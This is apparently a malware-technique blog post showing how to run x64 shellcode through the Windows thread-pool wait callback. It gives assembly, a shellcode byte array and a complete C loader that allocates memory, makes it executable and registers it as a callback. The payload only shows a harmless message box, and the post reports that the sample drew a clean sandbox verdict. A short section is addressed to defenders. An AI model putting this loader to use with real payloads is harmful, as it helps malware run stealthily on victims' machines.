Malware development trick 67: Run shellcode via CreateThreadpoolWait. C and assembly examples
﷽
Hello, cybersecurity enthusiasts and white hackers!

In trick 31, I used SetTimer to run a callback from the Windows message loop. Today I want to try another execution path: a Windows thread-pool wait callback. We will register a callback for an event, signal that event, and use the callback to run my usual x64 Meow-meow! message-box shellcode.
As usual, the payload displays a Meow-meow! message box with the =^..^= caption. This time we use a returning x64 payload designed for a thread-pool callback. main() arms a wait object and signals an event; Windows then calls the payload itself on a thread-pool worker. After the dialog closes, the payload returns to the thread pool.
We will also build a second example entirely in C. It uses the same event-to-callback execution path and displays the same dialog, with the compiler handling the callback calling convention. The mechanism itself does not depend on handwritten assembly.
a few words before we start
Here are the terms we will use:
| term | meaning |
|---|---|
| event object | A Windows synchronization object that can be signaled to notify one or more waiters. |
| thread pool | A set of Windows-managed worker threads used to run queued work and callbacks. |
| wait object | A thread-pool object that watches one waitable handle and queues a callback when it is signaled or times out. |
| callback | A function whose address is registered with an API so that the API can call it later. |
The sequence is short:

CreateThreadpoolWait creates the wait object:

Another function, SetThreadpoolWait tells it which event handle to watch:

When we call SetEvent, Windows queues the registered callback to a worker thread. In the first example, the registered callback address points directly to the payload bytes. Windows supplies our context pointer in RDX; it contains API addresses, a completion event, and fields where the payload records its worker thread ID and message-box result. In the second example, the registered address belongs to a compiled C function, and the compiler handles the arguments.
This example runs the shellcode in the current process. It is a small execution-flow experiment, not remote process injection.
practical example
For this callback, the payload must return after the message box closes. EXITFUNC=thread in windows/x64/messagebox terminates the current thread. In the generator inspected for this example, values other than thread select the process-exit path, so EXITFUNC=none is not a returning payload either. See the Metasploit module source.
Let’s use a small payload written specifically for the wait-callback signature (meow.asm):
; meow.asm - returning Windows x64 thread-pool wait callback
; nasm -f bin meow.asm -o meow.bin
bits 64
default rel
; entry: RCX = instance, RDX = context, R8 = wait, R9D = wait result
; context offsets must match CALLBACK_CONTEXT in hack.c
push rbx
sub rsp, 32 ; shadow space; RSP is now 16-byte aligned
mov rbx, rdx ; keep context across API calls
mov [rbx + 40], r9d
; signal the completion event only after this callback returns
mov rdx, [rbx + 16] ; completion event; RCX still holds instance
call [rbx + 8] ; SetEventWhenCallbackReturns(instance, event)
call [rbx + 24] ; GetCurrentThreadId()
mov [rbx + 32], eax
xor ecx, ecx ; hWnd = NULL
lea rdx, [rel message]
lea r8, [rel caption]
xor r9d, r9d ; MB_OK
call [rbx] ; MessageBoxA(NULL, message, caption, MB_OK)
mov [rbx + 36], eax
add rsp, 32
pop rbx
ret
message: db 'Meow-meow!', 0
caption: db '=^..^=', 0
Assemble it with NASM:
nasm -f bin meow.asm -o meow.bin


The resulting 73 bytes are embedded in hack.c below, so meow.bin is only needed to reproduce the byte array. This payload takes API addresses and a completion-event handle through the callback context. Its strings use RIP-relative addressing. It saves RBX, reserves 32 bytes of shadow space, and restores its stack before ret, following the Windows x64 calling convention:

Let’s go through the C side step by step before putting everything together. The snippets below show the relevant parts of hack.c; the complete program includes the declarations and error checks.
First of all, prepare the context that our returning Meow-meow! payload expects:
typedef struct {
MESSAGE_BOX_A message_box; /* +0 */
EVENT_ON_RETURN event_on_return; /* +8 */
HANDLE completed; /* +16 */
CURRENT_THREAD_ID current_thread; /* +24 */
DWORD worker_id; /* +32 */
int message_result; /* +36 */
TP_WAIT_RESULT wait_result; /* +40 */
} CALLBACK_CONTEXT;
CALLBACK_CONTEXT context = {
MessageBoxA, SetEventWhenCallbackReturns, NULL, GetCurrentThreadId,
0, 0, WAIT_FAILED
};
The function-pointer types are declared in the full source below. The first fields give the payload the API addresses it needs. The remaining fields hold the completion-event handle and the results that main() will read later. The offsets in the comments match the accesses in meow.asm, such as [rbx + 32] for the worker thread ID. The _Static_assert checks in the full program verify that layout at compile time. This context belongs to our particular payload.
Next, create two initially unsignaled events and put the completion handle into the context:
trigger = CreateEventW(NULL, FALSE, FALSE, NULL);
completed = CreateEventW(NULL, TRUE, FALSE, NULL);
context.completed = completed;
The trigger event uses automatic reset and starts the callback when signaled. The completed event uses manual reset and records callback completion. Keeping these roles separate lets main() wait until the payload has returned. In the complete source, we check both handles before using them.
Then prepare memory for the assembled payload:
SIZE_T payload_size = sizeof(meow_payload) - 1;
payload_memory = VirtualAlloc(NULL, payload_size, MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
memcpy(payload_memory, meow_payload, payload_size);
The array contains the bytes assembled from meow.asm. Subtracting 1 excludes the extra terminator added by the C string literal, while preserving the explicit zero bytes inside the payload. At this point, the allocation is writable so we can copy those bytes into it.
After copying, change the allocation to executable and read-only, then flush the instruction cache:
if (!VirtualProtect(payload_memory, payload_size, PAGE_EXECUTE_READ,
&old_protection)) {
report_error("VirtualProtect");
goto cleanup;
}
if (!FlushInstructionCache(GetCurrentProcess(), payload_memory, payload_size)) {
report_error("FlushInstructionCache");
goto cleanup;
}
These calls prepare the copied code for execution. Neither call starts the payload.
Now register its address as the wait callback. This is the central part of the trick:
wait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)payload_memory, &context, NULL);
The first argument is the callback entry point, which here is the beginning of our payload allocation. The second argument is the context Windows will pass to that callback. Passing NULL for the callback environment selects the default environment. Creating the wait object registers this information; we still need to associate it with an event.
Arm the wait and signal the trigger:
SetThreadpoolWait(wait, trigger, NULL);
if (!SetEvent(trigger)) {
report_error("SetEvent");
goto cleanup;
}
SetThreadpoolWait tells the wait object to watch trigger, with no timeout. Signaling that event allows Windows to dispatch the registered callback on a thread-pool worker. The worker enters our payload with the callback arguments, including &context as its second argument.
While the payload displays the dialog, the main thread waits for completion:
if (WaitForSingleObject(completed, INFINITE) != WAIT_OBJECT_0) {
report_error("WaitForSingleObject");
goto cleanup;
}
printf("[main] callback returned on worker thread: %lu\n",
(unsigned long)context.worker_id);
printf("[main] MessageBoxA result: %d\n", context.message_result);
Remember the call to SetEventWhenCallbackReturns in meow.asm: it asks the pool to signal completed after this callback returns. Closing the dialog lets the payload record the result and return, after which main() can read those fields. This synchronization depends on the completion protocol implemented by this payload.
Finally, release the resources in the right order:
if (wait != NULL) {
SetThreadpoolWait(wait, NULL, NULL);
WaitForThreadpoolWaitCallbacks(wait, TRUE);
CloseThreadpoolWait(wait);
}
if (payload_memory != NULL) VirtualFree(payload_memory, 0, MEM_RELEASE);
if (completed != NULL) CloseHandle(completed);
if (trigger != NULL) CloseHandle(trigger);
First disable further waits. Then cancel queued callbacks that have not started and wait for any running callback to finish. Only after that do we close the wait object, free the payload memory, and close the event handles. This keeps the code and context available for as long as the callback might use them.
So, the full source code is looke like this (hack.c):
/*
* hack.c
* execute a returning Meow-meow callback through CreateThreadpoolWait
* author @cocomelonc
* https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html
*/
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN64
#error This example requires a Windows x64 build.
#endif
typedef int (WINAPI *MESSAGE_BOX_A)(HWND, LPCSTR, LPCSTR, UINT);
typedef VOID (WINAPI *EVENT_ON_RETURN)(PTP_CALLBACK_INSTANCE, HANDLE);
typedef DWORD (WINAPI *CURRENT_THREAD_ID)(VOID);
typedef struct {
MESSAGE_BOX_A message_box; /* +0 */
EVENT_ON_RETURN event_on_return; /* +8 */
HANDLE completed; /* +16 */
CURRENT_THREAD_ID current_thread; /* +24 */
DWORD worker_id; /* +32 */
int message_result; /* +36 */
TP_WAIT_RESULT wait_result; /* +40 */
} CALLBACK_CONTEXT;
_Static_assert(sizeof(CALLBACK_CONTEXT) == 48, "x64 context size changed");
_Static_assert(offsetof(CALLBACK_CONTEXT, event_on_return) == 8, "ASM offset");
_Static_assert(offsetof(CALLBACK_CONTEXT, completed) == 16, "ASM offset");
_Static_assert(offsetof(CALLBACK_CONTEXT, current_thread) == 24, "ASM offset");
_Static_assert(offsetof(CALLBACK_CONTEXT, worker_id) == 32, "ASM offset");
_Static_assert(offsetof(CALLBACK_CONTEXT, message_result) == 36, "ASM offset");
_Static_assert(offsetof(CALLBACK_CONTEXT, wait_result) == 40, "ASM offset");
/* assembled from meow.asm; the final C string terminator is not payload data */
static const unsigned char meow_payload[] =
"\x53\x48\x83\xec\x20\x48\x89\xd3\x44\x89\x4b\x28\x48\x8b"
"\x53\x10\xff\x53\x08\xff\x53\x18\x89\x43\x20\x31\xc9\x48"
"\x8d\x15\x15\x00\x00\x00\x4c\x8d\x05\x19\x00\x00\x00\x45"
"\x31\xc9\xff\x13\x89\x43\x24\x48\x83\xc4\x20\x5b\xc3\x4d"
"\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e\x2e\x2e"
"\x5e\x3d\x00";
static void report_error(const char *api) {
fprintf(stderr, "%s failed: %lu\n", api, (unsigned long)GetLastError());
}
int main(void) {
int status = 1;
HANDLE trigger = NULL;
HANDLE completed = NULL;
PTP_WAIT wait = NULL;
LPVOID payload_memory = NULL;
SIZE_T payload_size = sizeof(meow_payload) - 1;
DWORD old_protection = 0;
CALLBACK_CONTEXT context = {
MessageBoxA, SetEventWhenCallbackReturns, NULL, GetCurrentThreadId,
0, 0, WAIT_FAILED
};
trigger = CreateEventW(NULL, FALSE, FALSE, NULL);
if (trigger == NULL) {
report_error("CreateEventW(trigger)");
goto cleanup;
}
completed = CreateEventW(NULL, TRUE, FALSE, NULL);
if (completed == NULL) {
report_error("CreateEventW(completed)");
goto cleanup;
}
context.completed = completed;
payload_memory = VirtualAlloc(NULL, payload_size, MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (payload_memory == NULL) {
report_error("VirtualAlloc");
goto cleanup;
}
memcpy(payload_memory, meow_payload, payload_size);
if (!VirtualProtect(payload_memory, payload_size, PAGE_EXECUTE_READ,
&old_protection)) {
report_error("VirtualProtect");
goto cleanup;
}
if (!FlushInstructionCache(GetCurrentProcess(), payload_memory, payload_size)) {
report_error("FlushInstructionCache");
goto cleanup;
}
/* the payload itself is the callback; Windows supplies &context in RDX */
wait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)payload_memory, &context, NULL);
if (wait == NULL) {
report_error("CreateThreadpoolWait");
goto cleanup;
}
printf("[main] thread ID: %lu\n", (unsigned long)GetCurrentThreadId());
printf("[main] callback address: %p\n", payload_memory);
SetThreadpoolWait(wait, trigger, NULL);
puts("[main] signaling the event; close the Meow-meow dialog to continue");
if (!SetEvent(trigger)) {
report_error("SetEvent");
goto cleanup;
}
if (WaitForSingleObject(completed, INFINITE) != WAIT_OBJECT_0) {
report_error("WaitForSingleObject");
goto cleanup;
}
printf("[main] callback returned on worker thread: %lu\n",
(unsigned long)context.worker_id);
printf("[main] MessageBoxA result: %d\n", context.message_result);
if (context.wait_result != WAIT_OBJECT_0 || context.message_result != IDOK) {
fprintf(stderr, "unexpected wait or MessageBoxA result\n");
goto cleanup;
}
status = 0;
cleanup:
if (wait != NULL) {
SetThreadpoolWait(wait, NULL, NULL);
WaitForThreadpoolWaitCallbacks(wait, TRUE);
CloseThreadpoolWait(wait);
}
if (payload_memory != NULL) VirtualFree(payload_memory, 0, MEM_RELEASE);
if (completed != NULL) CloseHandle(completed);
if (trigger != NULL) CloseHandle(trigger);
return status;
}
So, we copies the assembled bytes into writable memory, changes the page to executable and read-only, and registers that address as the PTP_WAIT_CALLBACK. There is no C wrapper or extra CreateThread: the thread-pool worker enters the payload directly. The payload uses the API addresses supplied in CALLBACK_CONTEXT; it is not a standalone Metasploit payload. Linking with -luser32 provides the MessageBoxA import and loads User32 when the program starts.
The payload calls SetEventWhenCallbackReturns with the callback instance and our completion event. Windows signals that event after the callback returns, so the main thread cannot free the payload merely because the trigger event was signaled. It then drains outstanding callbacks before closing the wait object and releasing memory. See SetEventWhenCallbackReturns.
demo
First of all, compile with MinGW-w64 on Linux:
x86_64-w64-mingw32-gcc -std=c11 -Wall -Wextra -O2 hack.c -o hack.exe -luser32

Copy hack.exe to a Windows x64 lab and run it:
.\hack.exe

The expected result is the familiar Meow-meow! dialog on the thread-pool worker. Close it with OK. The last two console lines are printed by main() after callback completion, using values recorded by the raw payload.


One detail is easy to miss: a wait object watches one handle. To use it again after the callback fires, call SetThreadpoolWait again before signaling the event a second time. This example intentionally makes one registration and one callback, which keeps the sequence easy to observe.

practical example 2
Now let’s show the same mechanism entirely in C (hack2.c). The callback opens our usual Meow-meow! dialog and returns. All the source for this example is below; it does not use meow.asm or the byte array from the first example.
Most of my readers, illustrates the execution path by registering an allocated shellcode address. Here we register meow_callback, a C function in the executable’s code section. This demonstrates callback dispatch; the second example does not execute a raw shellcode buffer.
The mechanism has four steps:
CreateEventWcreates an initially unsignaled trigger event.CreateThreadpoolWaitregistersmeow_callbackand a pointer to its context.SetThreadpoolWaitassociates the wait with the trigger event.SetEventsignals the trigger, allowing Windows to dispatchmeow_callbackon a thread-pool worker.
As described in SetThreadpoolWait, the worker calls the registered function when the watched handle becomes signaled or its timeout expires. We use no timeout here. main() never calls meow_callback directly: the thread pool makes that call.
So, full source code looks like the following (hack2.c):
/*
* hack2.c
* run a pure C Meow-meow callback through CreateThreadpoolWait
* author @cocomelonc
* https://cocomelonc.github.io/malware/2026/10/07/malware-tricks-67.html
*/
#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <stdio.h>
typedef struct {
HANDLE completed;
DWORD worker_id;
int message_result;
TP_WAIT_RESULT wait_result;
} CALLBACK_CONTEXT;
static VOID CALLBACK meow_callback(PTP_CALLBACK_INSTANCE instance,
PVOID parameter, PTP_WAIT wait,
TP_WAIT_RESULT wait_result) {
CALLBACK_CONTEXT *context = parameter;
(void)wait;
SetEventWhenCallbackReturns(instance, context->completed);
context->worker_id = GetCurrentThreadId();
context->wait_result = wait_result;
printf("[callback] worker thread ID: %lu\n",
(unsigned long)context->worker_id);
if (wait_result == WAIT_OBJECT_0) {
context->message_result = MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK);
}
// returning here lets the thread pool signal context->completed.
}
static void report_error(const char *api) {
fprintf(stderr, "%s failed: %lu\n", api, (unsigned long)GetLastError());
}
int main(void) {
int status = 1;
HANDLE trigger = NULL;
PTP_WAIT wait = NULL;
CALLBACK_CONTEXT context = {NULL, 0, 0, WAIT_FAILED};
trigger = CreateEventW(NULL, FALSE, FALSE, NULL);
if (trigger == NULL) {
report_error("CreateEventW(trigger)");
goto cleanup;
}
context.completed = CreateEventW(NULL, TRUE, FALSE, NULL);
if (context.completed == NULL) {
report_error("CreateEventW(completed)");
goto cleanup;
}
// a normal C function is the callback entry point.
wait = CreateThreadpoolWait(meow_callback, &context, NULL);
if (wait == NULL) {
report_error("CreateThreadpoolWait");
goto cleanup;
}
printf("[main] thread ID: %lu\n", (unsigned long)GetCurrentThreadId());
SetThreadpoolWait(wait, trigger, NULL);
puts("[main] signaling the event; close the Meow-meow dialog to continue");
if (!SetEvent(trigger)) {
report_error("SetEvent");
goto cleanup;
}
if (WaitForSingleObject(context.completed, INFINITE) != WAIT_OBJECT_0) {
report_error("WaitForSingleObject");
goto cleanup;
}
puts("[main] C callback returned");
printf("[main] MessageBoxA result: %d\n", context.message_result);
if (context.wait_result != WAIT_OBJECT_0 || context.message_result != IDOK) {
fprintf(stderr, "unexpected wait or MessageBoxA result\n");
goto cleanup;
}
status = 0;
cleanup:
if (wait != NULL) {
SetThreadpoolWait(wait, NULL, NULL);
WaitForThreadpoolWaitCallbacks(wait, TRUE);
CloseThreadpoolWait(wait);
}
if (context.completed != NULL) CloseHandle(context.completed);
if (trigger != NULL) CloseHandle(trigger);
return status;
}
The key line is CreateThreadpoolWait(meow_callback, &context, NULL). The first argument supplies the entry point, and the second supplies the data Windows passes to it. VOID CALLBACK and the four parameters match the wait-callback signature. The C compiler generates the required register and stack handling; no handwritten ASM or hard-coded context offsets are needed.
Inside the callback, MessageBoxA provides a visible result. It is the same Meow-meow! dialog, implemented as a regular C API call. The mechanism being demonstrated is how execution reaches that call: an event causes Windows to invoke the registered address on a worker thread. We do not allocate executable memory or create another thread in this example.
There are two events with different jobs. trigger requests execution. completed tells main() that the callback has returned, through SetEventWhenCallbackReturns. Waiting on trigger would not prove that the callback finished; with an auto-reset event, another waiter could also consume the signal. Our main thread waits only on completed.
The context remains alive until cleanup finishes. Cleanup disables further waits, drains outstanding callbacks, and then releases the wait object and event handles. The callback returns normally after closing the dialog.
demo 2
Ok, first of all, compile the C source with MinGW-w64 on Linux:
x86_64-w64-mingw32-gcc -std=c11 -Wall -Wextra -O2 hack2.c -o hack2.exe -luser32

Copy hack2.exe to the Windows x64 lab and run it from an interactive desktop session:
.\hack2.exe

The worker-thread line appears when Windows enters our C callback. The Meow-meow! dialog should then appear with the =^..^= caption. While the dialog is open, main() waits for callback completion. After you close it with OK, the callback returns and the last two lines appear. The result 1 means IDOK.

Both examples use CreateThreadpoolWait to register an entry point and an event to trigger execution. In hack.c, the entry point is the returning x64 payload. In hack2.c, it is a compiled C function. Changing the callback implementation leaves the event-driven dispatch mechanism intact.
for blue teams
Thread-pool callbacks are ordinary Windows functionality and appear in many legitimate programs. Their presence alone does not indicate malware. During analysis, follow the callback address and inspect what the function does, what context it receives, and which event or handle triggers it.
In the first example, the registered callback points into an executable allocation containing the MessageBox payload. Its context supplies the API addresses it calls. During analysis, inspect the callback address, the context, and the event that triggers execution.
In the second example, the callback belongs to the executable’s normal code section and calls MessageBoxA through a regular import. Comparing the two helps separate the ordinary thread-pool mechanism from the code registered with it.
conclusion
We used CreateThreadpoolWait to dispatch the MessageBox payload itself after an event was signaled. It runs on a thread-pool worker, shows Meow-meow!, and returns normally after the dialog closes. The second example demonstrates the same dispatch mechanism entirely in C. Both stay in one process; handwritten assembly is a choice for the first payload, not a requirement of CreateThreadpoolWait.
Remove debugging prints (hack3.c), then upload this compiled sample to ANY.RUN sandbox:



As you can see, verdict: no threats detected.
https://app.any.run/tasks/351a321a-aa84-4653-ac7f-0bfd06c22d41
I hope this post is useful for malware researchers, C programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Thanks to ANY.RUN for API!
Microsoft: CreateThreadpoolWait
Microsoft: SetThreadpoolWait
Microsoft: WaitForThreadpoolWaitCallbacks
Microsoft: CloseThreadpoolWait
Microsoft: SetEventWhenCallbackReturns
Microsoft: x64 calling convention
Metasploit: Windows x64 MessageBox module
hack3.exe
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine